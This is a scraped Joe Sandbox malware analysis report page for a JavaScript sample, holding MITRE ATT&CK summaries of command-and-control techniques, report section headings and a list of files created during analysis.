Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 183262889860027833.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3b51b241-b3cb-4e4a-abbf-eb871890fbec.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8052

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
183262889860027833.js